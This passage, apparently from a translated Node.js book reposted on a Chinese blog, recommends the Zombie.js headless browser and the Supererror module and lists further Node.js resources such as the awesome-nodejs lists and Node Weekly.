·   Zombie.js 是一个无头浏览器。还有其他浏览器测试工具,如 Selenium 和 PhantomJS,它们可以启动“真实”的浏览器,你可以控制它们。当你需要与浏览器 100%兼容时,它们是个不错的选择。但它们可能有点慢且难以操控,这就是 Zombie 的作用所在。Zombie 是一个非常快速的无头浏览器,它使得在模拟浏览器中测试你的应用程序变得容易。它的文档位于 http://zombie.labnotes.org/。

· Supererror 覆盖了 console.error 并使其变得更好,它提供了行号、更多信息以及更好的格式化。在 [`github.com/nebulade/supererror`](https://github.com/nebulade/supererror) 上查看。

这是一个简短的列表,但我想要告诉你,我非常喜欢这些模块!要获取更多有用的 Node 资源和模块,你可以查看:

·   《Sindre Sorhus 的“Awesome Node.js”》(在 [`github.com/sindresorhus/awesome-nodejs`](https://github.com/sindresorhus/awesome-nodejs))

·   Eduardo Rolim 同名列表(在 [`github.com/vndmtrx/awesome-nodejs`](https://github.com/vndmtrx/awesome-nodejs))

·   Node Weekly(在 [`nodeweekly.com/`](http://nodeweekly.com/))

·   DailyJS 的 Node Roundup 部分(在 [`dailyjs.com/`](http://dailyjs.com/))
posted @ 2025-11-14 20:39  绝不原创的飞龙  阅读(11)  评论(0)    收藏  举报